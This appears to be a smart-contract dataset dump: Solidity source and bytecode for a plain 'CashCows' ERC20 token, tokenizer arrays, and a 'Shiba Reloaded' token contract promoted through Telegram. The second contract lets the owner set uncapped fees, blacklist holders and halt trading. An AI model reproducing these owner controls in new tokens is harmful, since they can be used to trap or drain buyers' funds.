pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract CashCows is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "CashCows"; symbol = "CASHCOW"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a7231582008529f40bd3e5ff0b52c2b3e218c4047cb73b972e38fb740e035e5410a57197c64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2850, 23777, 22022, 2546, 2683, 29292, 2692, 23499, 2683, 29097, 2692, 2575, 2620, 2063, 21619, 29292, 20952, 10322, 2497, 2620, 2546, 2575, 2487, 2497, 17465, 2094, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 2278, 19204, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,869
0x95db04549f0e09592927953ac2b13f84a669bace
/*** *** Shiba Reloaded (SHIBR) token launch scheduled for Feb. 12, 2022 *** More details at https://t.me/ShibaReloaded ***/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaReloaded is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba Reloaded"; string private constant _symbol = "SHIBR"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x7A5aC4fF14E4BDD4D91E302D8aBADA696aCC2d37); address payable private _marketingAddress = payable(0xB872C91823f1f1Be59E454E8AC1BeFbaB95ddD2A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b557600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611955565b610600565b005b34801561020a57600080fd5b5060408051808201909152600e81526d14da1a58984814995b1bd859195960921b60208201525b60405161023e9190611a1a565b60405180910390f35b34801561025357600080fd5b50610267610262366004611a6f565b61069f565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611a9b565b6106b6565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601554610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611adc565b61071f565b34801561037257600080fd5b506101fc610381366004611b09565b61076a565b34801561039257600080fd5b506101fc6107b2565b3480156103a757600080fd5b506102c66103b6366004611adc565b6107fd565b3480156103c757600080fd5b506101fc61081f565b3480156103dc57600080fd5b506101fc6103eb366004611b24565b610893565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611adc565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611b09565b6108c2565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600581526429a424a12960d91b6020820152610231565b3480156104c157600080fd5b506101fc6104d0366004611b24565b61090a565b3480156104e157600080fd5b506101fc6104f0366004611b3d565b610939565b34801561050157600080fd5b50610267610510366004611a6f565b610977565b34801561052157600080fd5b50610267610530366004611adc565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610984565b34801561056657600080fd5b506101fc610575366004611b6f565b6109d8565b34801561058657600080fd5b506102c6610595366004611bf3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611b24565b610a79565b3480156105ec57600080fd5b506101fc6105fb366004611adc565b610aa8565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611c2c565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611c61565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611c8d565b915050610636565b5050565b60006106ac338484610b92565b5060015b92915050565b60006106c3848484610cb6565b610715843361071085604051806060016040528060288152602001611da7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f2565b610b92565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611c2c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611c2c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa8161122c565b50565b6001600160a01b0381166000908152600260205260408120546106b090611266565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611c2c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611c2c565b601655565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161062a90611c2c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161062a90611c2c565b601855565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161062a90611c2c565b600893909355600a91909155600955600b55565b60006106ac338484610cb6565b6012546001600160a01b0316336001600160a01b031614806109b957506013546001600160a01b0316336001600160a01b0316145b6109c257600080fd5b60006109cd306107fd565b90506107fa816112ea565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161062a90611c2c565b60005b82811015610a73578160056000868685818110610a2457610a24611c61565b9050602002016020810190610a399190611adc565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6b81611c8d565b915050610a05565b50505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161062a90611c2c565b601755565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161062a90611c2c565b6001600160a01b038116610b375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610dde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610e0a57506000546001600160a01b03838116911614155b156110eb57601554600160a01b900460ff16610ea3576000546001600160a01b03848116911614610ea35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b601654811115610ef55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3757506001600160a01b03821660009081526010602052604090205460ff16155b610f8f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b038381169116146110145760175481610fb1846107fd565b610fbb9190611ca8565b106110145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b600061101f306107fd565b6018546016549192508210159082106110385760165491505b80801561104f5750601554600160a81b900460ff16155b801561106957506015546001600160a01b03868116911614155b801561107e5750601554600160b01b900460ff165b80156110a357506001600160a01b03851660009081526005602052604090205460ff16155b80156110c857506001600160a01b03841660009081526005602052604090205460ff16155b156110e8576110d6826112ea565b4780156110e6576110e64761122c565b505b50505b6001600160a01b038316600